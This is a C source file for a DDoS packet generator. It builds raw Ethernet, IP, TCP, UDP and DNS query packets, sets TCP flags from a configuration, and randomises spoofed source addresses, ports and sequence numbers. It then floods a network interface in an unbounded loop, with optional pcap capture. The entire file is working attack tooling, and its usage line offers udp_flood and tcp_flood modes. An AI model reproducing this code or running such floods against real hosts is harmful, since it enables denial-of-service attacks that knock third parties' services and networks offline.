#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <getopt.h>

#include <libcc_stl/rand.h>

#include <libcc_netio/netio.h>
#include <libcc_net/pkt_buf.h>
#include <libcc_net/ip.h>
#include <libcc_net/tcp.h>
#include <libcc_net/udp.h>
#include <libcc_net/capture.h>

#include "configure_read.h"

void ddos_attack_pkt_init(struct pkt* p, struct ddos_conf* c)
{
    // pkt_init(p);
    struct iphdr* ip_h;
    struct tcphdr* tcp_h;
    struct udphdr* udp_h;
    struct dnshdr* dns_h;

    //
    // Layer 2
    //

    pkt_append_data(p, c->eth_h.dest, 6);
    pkt_append_data(p, c->eth_h.source, 6);
    // pkt_append_data(p, global_ddos_conf.source_mac, 6);

    //
    // Layer3,
    //
    if((DDOS_TYPE_IP & c->type) == DDOS_TYPE_IP)
    {
        pkt_append_u16(p, 0x0800);

        /**     IP header    **/
        ip_h = (struct iphdr*)pkt_put(p, IPHDR_LEN);
        p->hdr.network_header = (uint8_t*)ip_h;
        ip_h->version = 4;
        ip_h->hdrlen = 5;
        ip_h->tos = 0;
        ip_h->tot_len = 0;  // TODO: init it later !!
        ip_h->id = 0;
        ip_h->frag_offset = htons((0x2) << 13 | ((0) & 0x1ffff));
        ip_h->ttl = 64;

        if((DDOS_TYPE_IP_TCP & c->type) == DDOS_TYPE_IP_TCP)
        {
            ip_h->protocol = 06;
        }
        else  if((DDOS_TYPE_IP_UDP & c->type) == DDOS_TYPE_IP_UDP)
        {
            ip_h->protocol = 17;
        }

        ip_h->checksum = 0;
        ip_h->saddr = 0;  // TODO: init it later!!
        ip_h->daddr = 0;  // TODO: init it later!!

        if((DDOS_TYPE_IP_TCP & c->type) == DDOS_TYPE_IP_TCP)
        {
            /** TCP Header **/
            tcp_h = (struct tcphdr*)pkt_put(p, TCPHDR_LEN);
            p->hdr.transport_header = (uint8_t*)tcp_h;

            tcp_h->source = 0;  // TODO:init it later!!
            tcp_h->dest = 0;  // TODO: init it later!!
            tcp_h->seq = 0;  // TODO: init it later!!

            if(c->tcp_h.ack)
            {
                tcp_h->ack_seq = 0xaabbccdd;
            }
            else
            {
                tcp_h->ack_seq = 0;
            }

            tcp_h->doff = 5;
            tcp_h->res1 = 0;
            tcp_h->cwr = c->tcp_h.cwr;
            tcp_h->ece = c->tcp_h.ece;
            tcp_h->urg = c->tcp_h.urg;
            tcp_h->ack = c->tcp_h.ack;
            tcp_h->psh = c->tcp_h.psh;
            tcp_h->rst = c->tcp_h.rst;
            tcp_h->syn = c->tcp_h.syn;
            tcp_h->fin = c->tcp_h.fin;

            tcp_h->window = htons(65535);
            tcp_h->check = 0;
            tcp_h->urg_ptr = 0;

            if(!tcp_h->syn)
            {
                pkt_append_data(p, c->payload.payload, c->payload.payload_len);
            }

            if((DDOS_TYPE_IP_TCP_HTTP & c->type) == DDOS_TYPE_IP_TCP_HTTP)
            {
                pkt_append_data(p, c->http_header, strlen(c->http_header));
            }
        }
        else if((DDOS_TYPE_IP_UDP & c->type) == DDOS_TYPE_IP_UDP)
        {
            /** UDP Header **/
            udp_h = (struct udphdr*)pkt_put(p, UDPHDR_LEN);
            p->hdr.transport_header = (uint8_t*)udp_h;

            udp_h->source = 0;  // TODO: init it later!!
            udp_h->dest = 0;  // TODO: init it later!!
            udp_h->len = 0;  // TODO:init it later!!
            udp_h->check = 0;  // TODO: init it later!!

            if((DDOS_TYPE_IP_UDP_DNS & c->type) == DDOS_TYPE_IP_UDP_DNS)
            {
                dns_h = (struct dnshdr*)pkt_put(p, DNSHDR_LEN);
                dns_h->id = 0;
                dns_h->flags = c->dns_h.flags;
                dns_h->query_count = htons(1);
                dns_h->rr_count = 0;
                dns_h->auth_count = 0;
                dns_h->add_count = 0;

                // printf("1, %d\r\n", pkt_datalen(p));
                pkt_append_data(p, c->query_domain, strlen(c->query_domain) + 1);
                // printf("1, %d\r\n", pkt_datalen(p));
                pkt_append_u16(p, DNS_RRTYPE_A);
                // printf("2, %d\r\n", pkt_datalen(p));
                pkt_append_u16(p, DNS_RRCLASS_IN);
                // printf("3, %d\r\n", pkt_datalen(p));
            }
            else
            {
                pkt_append_data(p, c->payload.payload, c->payload.payload_len);
            }
        }
    }
}


void ddos_attack_pkt_rand(struct pkt* p, struct ddos_conf* c)
{
    struct iphdr* ip_h;
    struct tcphdr* tcp_h;
    struct udphdr* udp_h;
    struct dnshdr* dns_h;
    uint16_t ip_payload_len = 0;

    if((DDOS_TYPE_IP & c->type) == DDOS_TYPE_IP)
    {
        ip_h = (struct iphdr*)p->hdr.network_header;
        ip_h->tot_len = htons(pkt_datalen(p) - 14);
        ip_payload_len = ntohs(ip_h->tot_len) - (ip_h->hdrlen << 2);

        ip_h->saddr = (1 == c->source_subnet.host_count) ? c->source_subnet.start : htonl((c->source_subnet.start_h + cc_rand() % c->source_subnet.host_count));
        ip_h->daddr = (1 == c->dest_subnet.host_count) ? c->dest_subnet.start : htonl((c->dest_subnet.start_h + cc_rand() % c->dest_subnet.host_count));

        if((DDOS_TYPE_IP_TCP & c->type) == DDOS_TYPE_IP_TCP)
        {
            tcp_h = (struct tcphdr*)p->hdr.transport_header;

            tcp_h->source = (0 == c->tcp_h.source) ? cc_rand() : c->tcp_h.source;
            tcp_h->dest = (0 == c->tcp_h.dest) ? cc_rand() : c->tcp_h.dest;
            tcp_h->seq = (0 == c->tcp_h.seq) ? cc_rand() : c->tcp_h.seq;

            tcp_h->check = 0;
            struct pseudoheader tmp = {ip_h->saddr, ip_h->daddr, 0, ip_h->protocol, htons(ip_payload_len)};
            tcp_h->check = in_chksum_tcp((uint16_t*)&tmp, (uint16_t*)tcp_h, ip_payload_len);
        }
        else if((DDOS_TYPE_IP_UDP & c->type) == DDOS_TYPE_IP_UDP)
        {
            udp_h = (struct udphdr*)p->hdr.transport_header;
            udp_h->source = (0 == c->udp_h.source) ? cc_rand() : c->udp_h.source;
            udp_h->dest = (0 == c->udp_h.dest) ? cc_rand() : c->udp_h.dest;
            udp_h->len = ip_payload_len - 8;

            if((DDOS_TYPE_IP_UDP_DNS & c->type) == DDOS_TYPE_IP_UDP_DNS)
            {
                dns_h = (struct dnshdr*)(udp_h + 1);
                dns_h->id = (0 == c->dns_h.id ? cc_rand() : c->dns_h.id);
            }

            udp_h->check = 0;
            struct pseudoheader tmp = {ip_h->saddr, ip_h->daddr, 0, ip_h->protocol, htons(ip_payload_len)};
            udp_h->check = in_chksum_tcp((uint16_t*)&tmp, (uint16_t*)udp_h, ip_payload_len);
        }

        ip_h->checksum = 0;
        ip_h->checksum = ipv4hdr_chksum((uint16_t*)ip_h, 20);
    }
}

void ddos_attack_loop(struct pkt* p, struct netio_handler* io, struct ddos_conf* c)
{
    static int total_count = 0;
    int count = 0;
    struct capture p_cap ;
    struct capture* p_p_cap = 0;

    if (c->control.pcap_file[0])
    {
        capture_init(&p_cap, c->control.pcap_file, 0);
        p_p_cap = &p_cap;
    }

    while(0 == c->control.total_count || count <= c->control.total_count)
    {
        // printf("%d\r\n", count);
        ddos_attack_pkt_rand(p, &global_ddos_conf);
        netio_write(io, p->body, pkt_datalen(p));
        count++;
        total_count++;

        if(0 == (total_count & 1023))
        {
            printf("Send %d pkts\r\n", total_count);
        }
        if (p_p_cap)
        {
            capture_write(p_p_cap, p->body, pkt_datalen(p));
        }

        if(0 == c->control.pps)
        {
            continue;
        }
        else
        {
            usleep(c->control.usleep_count);
        }
    }
}

int verbose_flag;
const char *short_opts = "t:f:w:";
struct option long_ops[] =
{
    /* These options set a flag. */
    {"ddos_type",  required_argument, 0, 't'},
    {"conf_file",  required_argument, 0, 'f'},
    {"write_pkt",  required_argument, 0, 'w'},
    {0, 0, 0, 0}
};



int main(char argc, char** argv)
{
    struct pkt p;
    struct netio_handler netio_p;
    /* getopt_long stores the option index here. */
    int option_index = 0;
    int c;

    const char* ddos_type = 0;
    const char* conf_file = 0;

    while(1)
    {
        c = getopt_long(argc, argv, short_opts, long_ops, &option_index);

        /* Detect the end of the options. */
        if(-1 == c)
        {
            break;
        }

        switch(c)
        {
            case 't':
                /* If this option set a flag, do nothing else now. */
                if(long_ops[option_index].flag != 0)
                {
                    break;
                }

                if(optarg)
                {
                    // printf(" with arg %s", optarg);
                    ddos_type = optarg;
                }
                else
                {
                    goto label_exit;
                }

                break;

            case 'f':
                if(long_ops[option_index].flag != 0)
                {
                    break;
                }

                if(optarg)
                {
                    // printf(" with arg %s", optarg);
                    conf_file = optarg;
                }
                else
                {
                    goto label_exit;
                }
                break;
            case 'w':
                if(long_ops[option_index].flag != 0)
                {
                    break;
                }

                if(optarg)
                {
                    // printf(" with arg %s", optarg);
                    strcpy(global_ddos_conf.control.pcap_file, optarg);
                }
                else
                {
                    goto label_exit;
                }
                break;

            default:
            label_exit:
                fprintf(stderr, "%s -t <udp_flood|tcp_flood> -f <conf_xml> -w <pcap>\r\n", argv[0]);
                exit(1);
                break;
        }
    }


    if(parse_configuration_xml(ddos_type, conf_file))
    {
        pkt_init(&p);

        printf("Init Raw Attack Pkt\r\n");
        ddos_attack_pkt_init(&p, &global_ddos_conf);

        printf("Init netio %s\r\n", global_ddos_conf.control.interface);
        if(netio_handler_init(&netio_p, global_ddos_conf.control.interface))
        {
            printf("Start attack\r\n");
            ddos_attack_loop(&p, &netio_p, &global_ddos_conf);
        }

    }

    return 0;
}

